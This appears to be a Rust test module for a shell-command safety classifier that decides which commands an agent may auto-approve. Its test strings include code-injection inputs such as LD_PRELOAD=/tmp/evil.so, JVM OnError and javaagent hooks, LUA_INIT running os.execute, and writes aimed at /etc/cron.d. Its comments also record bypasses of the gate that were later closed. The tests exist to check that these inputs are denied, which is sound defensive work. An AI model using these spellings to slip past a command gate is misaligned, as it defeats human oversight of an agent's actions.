    fn a_listed_flag_does_not_admit_a_longer_flag_that_merely_starts_the_same_way() {
        for cmd in [
            "GOFLAGS='-modfile=/tmp/evil.mod' go list ./...", "GOFLAGS='-vet=off' go vet ./...", "GOFLAGS='-nolocalimports' go list ./...",
            "GOFLAGS='-runtime=x' go list ./...", "RUSTDOCFLAGS='--cfgevil' cargo doc",
        ] {
            assert!(!crate::is_safe_command(cmd), "a longer flag was admitted by prefix: {cmd}");
        }
        // ...while the flag itself, bare or carrying a value, still works.
        for cmd in ["GOFLAGS='-mod=vendor' go list ./...", "GOFLAGS='-v -x' go list ./...", "GOFLAGS=-trimpath go list ./..."] {
            assert!(crate::is_safe_command(cmd), "a listed flag was denied: {cmd}");
        }
    }

    /// A path-valued flag inside an option string is judged on its VALUE by the ordinary locus
    /// rules, so the env spelling and the command-line spelling agree. `-Cincremental` was
    /// originally in `allowed`, where the matcher reads the flag NAME and never the value — so
    /// `RUSTFLAGS='-Cincremental=/etc/cron.d' cargo build` was allowed while `cargo build
    /// --target-dir /etc/x` was denied, the env-twin-of-a-guarded-flag shape this module exists to
    /// close, reintroduced inside it. Declaring it in `path_flags` gates the value instead of
    /// refusing the flag outright.
    #[test]
    fn a_declared_path_flag_is_gated_by_its_locus() {
        // Out-of-worktree: denied, matching what the command-line spelling of that path gets.
        for cmd in [
            "RUSTFLAGS='-Cincremental=/etc/cron.d' cargo build",
            "CARGO_BUILD_RUSTFLAGS='-Cincremental=/etc/x' cargo build",
            "JAVA_TOOL_OPTIONS='-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/etc/x' java -version",
            // No value to judge — fail closed rather than treat it as the bare flag.
            "RUSTFLAGS='-Cincremental=' cargo build",
        ] {
            assert!(!crate::is_safe_command(cmd), "an out-of-worktree path was allowed: {cmd}");
        }
        // In-worktree: allowed, because writing there is what the level already permits.
        for cmd in [
            "RUSTFLAGS='-Cincremental=./target/inc' cargo build",
            "RUSTFLAGS='-Copt-level=3 -Cincremental=./target/inc' cargo build",
            "JAVA_TOOL_OPTIONS='-XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=./dump.hprof' java -version",
        ] {
            assert!(crate::is_safe_command(cmd), "an in-worktree path was denied: {cmd}");
        }
    }

    /// EVERY SPELLING THAT PUTS A VARIABLE INTO THE ENVIRONMENT MUST AGREE. The prefix form was
    /// classified while `env NAME=V cmd`, `export NAME=V`, `declare -x NAME=V` and `typeset -x
    /// NAME=V` were not — four ways to set `LD_PRELOAD` that auto-approved while the fifth denied.
    /// `export` alone is enough: it applies to every command the shell spawns afterwards, so
    /// `export LD_PRELOAD=/tmp/evil.so && cargo build` was a complete bypass.
    ///
    /// Walks the REAL table rather than a hand-picked list, so a variable added tomorrow is covered
    /// in every spelling without anyone remembering to add a case.
    #[test]
    fn every_spelling_of_an_assignment_agrees() {
        // Dangerous under every shape: a command that is an out-of-worktree binary, a path that is
        // out-of-worktree, an unlisted option-string token, and any value at all for `opaque`.
        const BAD: &str = "/tmp/evil";
        let mut checked = 0;
        let names: Vec<String> = super::TABLE
            .exact
            .keys()
            .cloned()
            .chain(super::TABLE.globs.iter().map(|(pre, suf, _)| format!("{pre}X{suf}")))
            .collect();
        for name in names {
            // Skip safely: if the prefix spelling does not deny this value, there is no denial for
            // the other spellings to match, and the case proves nothing.
            if crate::is_safe_command(&format!("{name}={BAD} ls")) {
                continue;
            }
            checked += 1;
            for spelling in [
                format!("env {name}={BAD} ls"),
                format!("export {name}={BAD}"),
                format!("export {name}={BAD} && ls"),
                format!("declare -x {name}={BAD}"),
                format!("typeset -x {name}={BAD}"),
                // `NAME+=VALUE` is bash's APPEND assignment — it sets NAME, so it is the same
                // capability. Splitting on `=` yielded the unlisted name `NAME+`, and all three
                // of these auto-approved.
                format!("export {name}+={BAD}"),
                format!("declare -x {name}+={BAD}"),
                format!("env {name}+={BAD} ls"),
                // `mise set` writes the variable into mise.toml, so it PERSISTS across sessions
                // and injects into every command run in that directory.
                format!("mise set {name}={BAD}"),
            ] {
                assert!(
                    !crate::is_safe_command(&spelling),
                    "`{name}={BAD}` denies as a prefix but `{spelling}` was allowed — one spelling \
                     of the assignment escapes classification",
                );
            }
        }
        assert!(checked > 20, "only {checked} variables exercised; the table was not walked");
    }

    /// Agreement is on the LEVEL too, not just allow/deny — the same lesson as the prefix wiring.
    #[test]
    fn the_alternate_spellings_carry_the_same_level() {
        for (prefix, alternate) in [
            ("PYTHONPATH=./lib true", "export PYTHONPATH=./lib"),
            ("RUSTFLAGS='-Cincremental=./x' true", "export RUSTFLAGS='-Cincremental=./x'"),
            ("FOO=bar true", "export FOO=bar"),
        ] {
            assert_eq!(crate::command_verdict(prefix), crate::command_verdict(alternate), "`{prefix}` and `{alternate}` disagree on level",);
        }
    }

    /// An assignment that resolves to a LEVEL must carry that level into the command, not merely
    /// deny or not. `simple_verdict` used to propagate only `Denied` from the env and discard the
    /// level, so `RUSTFLAGS='-Cincremental=./x' echo hi` classified Inert and passed at `paranoid`
    /// while the identical write spelled `touch ./x` did not. Asserting the LEVEL, not allow/deny,
    /// is the point — an allow/deny test passes either way.
    #[test]
    fn an_assignments_level_reaches_the_commands_verdict() {
        use crate::verdict::{SafetyLevel, Verdict};
        // A worktree-write assignment on an inert command word IS a worktree write.
        assert_eq!(
            crate::command_verdict("RUSTFLAGS='-Cincremental=./x' echo hi"),
            crate::command_verdict("touch ./x"),
            "an env-spelled worktree write must classify as that write does",
        );
        assert_eq!(crate::command_verdict("RUSTFLAGS='-Cincremental=./x' echo hi"), Verdict::Allowed(SafetyLevel::SafeWrite),);
        // ...and an assignment with no effect on state does not escalate anything.
        for cmd in ["RUSTFLAGS='-Copt-level=3' echo hi", "FOO=bar echo hi", "echo hi"] {
            assert_eq!(crate::command_verdict(cmd), Verdict::Allowed(SafetyLevel::Inert), "an inert assignment escalated: {cmd}",);
        }
    }

    /// A code-supplying flag is gated at the EXECUTOR locus, so it agrees with the environment
    /// variable that expresses the same capability. `CLASSPATH=./lib mvn test` allowed while
    /// `JDK_JAVA_OPTIONS='-cp ./lib' mvn test` denied — one spelling checked, on commands that
    /// really do auto-approve.
    ///
    /// Only JDK_JAVA_OPTIONS carries these: measured on OpenJDK 26.0.2, `-cp` in the VM-read pair is
    /// `Unrecognized option` and the JVM refuses to start, so listing it there would allow a form
    /// that cannot run.
    #[test]
    fn a_classpath_flag_agrees_with_the_classpath_variable() {
        for (env_form, flag_form) in [
            ("CLASSPATH=./lib mvn test", "JDK_JAVA_OPTIONS='-cp ./lib' mvn test"),
            ("CLASSPATH=/tmp/evil mvn test", "JDK_JAVA_OPTIONS='-cp /tmp/evil' mvn test"),
            ("CLASSPATH=./lib gradle build", "JDK_JAVA_OPTIONS='-classpath ./lib' gradle build"),
            ("CLASSPATH=~/.m2 mvn test", "JDK_JAVA_OPTIONS='--class-path ~/.m2' mvn test"),
        ] {
            assert_eq!(
                crate::is_safe_command(env_form),
                crate::is_safe_command(flag_form),
                "the two spellings of one capability disagree: `{env_form}` vs `{flag_form}`",
            );
        }
        assert!(crate::is_safe_command("JDK_JAVA_OPTIONS='-cp ./lib' mvn test"), "worktree classpath");
        assert!(!crate::is_safe_command("JDK_JAVA_OPTIONS='-cp /tmp/evil' mvn test"), "foreign classpath");
        // A classpath is a LIST: one bad element poisons it, as it does for CLASSPATH itself.
        assert!(!crate::is_safe_command("JDK_JAVA_OPTIONS='-cp ./lib:/tmp/evil' mvn test"));
        // The flag with nothing after it has no path to judge, so it is not the bare flag.
        assert!(!crate::is_safe_command("JDK_JAVA_OPTIONS='-cp' mvn test"));
        // Nor does it swallow a following FLAG as if it were the path. `java` rejects that outright
        // ("-cp requires class path specification"), and consuming it here would take a token out of
        // the flag path unvalidated.
        for cmd in [
            "JDK_JAVA_OPTIONS='-cp -XX:OnError=/tmp/e.sh' mvn test",
            "JDK_JAVA_OPTIONS='-cp -javaagent:/tmp/e.jar' mvn test",
            "JDK_JAVA_OPTIONS='-cp -Xmx4g' mvn test",
        ] {
            assert!(!crate::is_safe_command(cmd), "a path flag swallowed a flag as its value: {cmd}");
        }
        // ...and the VM-read pair still refuses it, because the JVM does.
        for cmd in ["JAVA_TOOL_OPTIONS='-cp ./lib' mvn test", "_JAVA_OPTIONS='-cp ./lib' mvn test"] {
            assert!(!crate::is_safe_command(cmd), "a launcher-only flag was admitted to the VM pair: {cmd}");
        }
    }

    /// `path_flags` opens nothing on its own: a flag nobody declared is still judged by `allowed`,
    /// where it is absent, so it denies with or without a value.
    #[test]
    fn an_undeclared_path_flag_still_denies() {
        for cmd in [
            "RUSTFLAGS='-Cprofile-use=./x.profdata' cargo build",
            "JAVA_TOOL_OPTIONS='-XX:VMOptionsFile=./opts' java -version",
            "JAVA_TOOL_OPTIONS='-XX:CompilerDirectivesFile=./d.json' java -version",
            "GOFLAGS='-overlay=./o.json' go list ./...",
            // The declared flag without its `=value` is not the bare flag either.
            "RUSTFLAGS='-Cincremental' cargo build",
            "JAVA_TOOL_OPTIONS='-XX:HeapDumpPath' java -version",
        ] {
            assert!(!crate::is_safe_command(cmd), "an undeclared path flag was allowed: {cmd}");
        }
    }

    /// A flag declared in `path_flags` must NOT also sit in `allowed`. `allowed` is checked second
    /// and matches on the name alone, so a flag in both would reach the ungated branch whenever the
    /// gated one did not match — exactly the hole `path_flags` exists to close. Walks the real
    /// table, so a future entry is covered without anyone adding a case.
    #[test]
    fn no_path_flag_is_also_listed_as_an_ungated_flag() {
        let mut checked = 0;
        for rule in super::TABLE.exact.values().chain(super::TABLE.globs.iter().map(|(_, _, r)| r)) {
            for pf in &rule.path_flags {
                checked += 1;
                assert!(
                    !rule.allowed.iter().any(|a| super::option_string::flag_matches(&pf.flag, a)),
                    "{} is declared as a path flag AND matched by `allowed`, so its value escapes \
                     the locus gate",
                    pf.flag,
                );
            }
        }
        assert!(checked > 0, "no path flags seen; the table was not walked");
    }

    /// `allowed` and `path_flags` mean nothing on a shape that is not `option-string` — the other
    /// shapes judge the whole value and never consult either list. Silently ignoring them would let
    /// an author write a restriction that reads as protective and does nothing, so the pairing is
    /// asserted over the real table instead.
    #[test]
    fn option_string_fields_appear_only_on_option_string_entries() {
        for rule in super::TABLE.exact.values().chain(super::TABLE.globs.iter().map(|(_, _, r)| r)) {
            if rule.shape == super::Shape::OptionString {
                assert!(
                    !rule.allowed.is_empty(),
                    "an option-string entry with an empty `allowed` denies every value; say so with \
                     a different shape instead"
                );
                continue;
            }
            assert!(rule.allowed.is_empty(), "`allowed` is set on a non-option-string entry");
            assert!(rule.path_flags.is_empty(), "`path_flags` is set on a non-option-string entry");
        }
    }

    /// An allowlist entry must be a NON-EMPTY FLAG. Two authoring mistakes are invisible otherwise:
    /// a bare `"*"` strips to the empty prefix and `starts_with("")` is always true, so one
    /// character would admit the entire flag surface of that interpreter; and an entry not starting
    /// with `-` matches bare VALUE tokens rather than flags. `every_option_string_entry_obeys_its_own_star`
    /// does not catch either — a bare `*` satisfies "a starred entry accepts its own extension".
    #[test]
    fn every_option_string_entry_is_a_nonempty_flag() {
        for rule in super::TABLE.exact.values().chain(super::TABLE.globs.iter().map(|(_, _, r)| r)) {
            if rule.shape != super::Shape::OptionString {
                continue;
            }
            for entry in &rule.allowed {
                let core = entry.strip_suffix('*').unwrap_or(entry);
                assert!(!core.is_empty(), "a bare `*` entry admits every token of the option string");
                assert!(core.starts_with('-'), "`{entry}` does not start with `-`, so it matches bare value tokens, not a flag");
            }
            for pf in &rule.path_flags {
                assert!(pf.flag.starts_with('-'), "path flag `{}` is not a flag", pf.flag);
            }
        }
    }

    /// The mechanism itself, over the REAL entries rather than a hand-picked pair: a bare entry must
    /// reject an extension of itself, and a `*` entry must accept one. Enumerating the table means a
    /// future entry is covered without anyone remembering to add a case.
    #[test]
    fn every_option_string_entry_obeys_its_own_star() {
        let mut checked = 0;
        for rule in super::TABLE.exact.values().chain(super::TABLE.globs.iter().map(|(_, _, r)| r)) {
            if rule.shape != super::Shape::OptionString {
                continue;
            }
            for entry in &rule.allowed {
                checked += 1;
                match entry.strip_suffix('*') {
                    Some(prefix) => {
                        assert!(
                            super::option_string::flag_matches(&format!("{prefix}zz"), entry),
                            "{entry} is starred but rejects its own extension"
                        )
                    }
                    None => {
                        assert!(super::option_string::flag_matches(entry, entry), "{entry} rejects itself");
                        assert!(
                            !super::option_string::flag_matches(&format!("{entry}zz"), entry),
                            "{entry} admits the unrelated flag {entry}zz — star it only if the \
                             value glues on with no delimiter"
                        );
                    }
                }
            }
        }
        assert!(checked > 50, "only {checked} entries seen; the table was not walked");
    }

    /// LUA_INIT is Lua SOURCE unless it starts with `@`, in which case it is a path. One shape
    /// cannot express that, so presence denies — including for the path spelling, which would
    /// otherwise look like an ordinary worktree read.
    #[test]
    fn lua_init_denies_in_both_of_its_forms() {
        assert!(!crate::is_safe_command("LUA_INIT='os.execute(\"id\")' ls"));
        assert!(!crate::is_safe_command("LUA_INIT=@./init.lua ls"));
    }

    /// Julia's load and depot paths supply code, so they follow the executor locus rather than the
    /// read locus: in-worktree allows, /tmp and home do not.
    #[test]
    fn julia_paths_follow_the_executor_locus() {
        assert!(crate::is_safe_command("JULIA_LOAD_PATH=./deps ls"));
        assert!(!crate::is_safe_command("JULIA_LOAD_PATH=/tmp/evil ls"));
        assert!(!crate::is_safe_command("JULIA_DEPOT_PATH=/tmp/evil ls"));
    }

    /// `-C key=value` and `-Ckey=value` are the same flag, so the split spelling must not sneak a
    /// denied key past by hiding it in the following token. Without joining, allowing a bare `-C`
    /// would admit `-C linker=/tmp/evil`.
    #[test]
    fn a_split_short_flag_is_judged_as_one_unit() {
        assert!(!crate::is_safe_command("RUSTFLAGS='-C linker=/tmp/evil' cargo build"));
        assert!(!crate::is_safe_command("RUSTFLAGS='-Clinker=/tmp/evil' cargo build"));
        assert!(crate::is_safe_command("RUSTFLAGS='-C opt-level=3' cargo build"));
        assert!(crate::is_safe_command("RUSTFLAGS='-Copt-level=3' cargo build"));
    }

    /// The exec-path rule is NOT the read rule, and the distinction is load-bearing: reading
    /// `/tmp/x.so` is ordinary, while loading it into the process is not. An earlier cut used a
    /// locus comparison that admitted `/tmp` because `temp` sits BELOW `worktree` on a ladder
    /// ordered by write blast-radius rather than execution trust.
    #[test]
    fn loading_from_temp_denies_even_though_reading_it_allows() {
        assert!(crate::is_safe_command("cat /tmp/evil.so"), "reading /tmp is ordinary");
        assert!(!crate::is_safe_command("LD_PRELOAD=/tmp/evil.so ls"), "loading it must not be");
    }
}

#[cfg(test)]
#[path = "envvars/description_twins_tests.rs"]
mod description_twins_tests;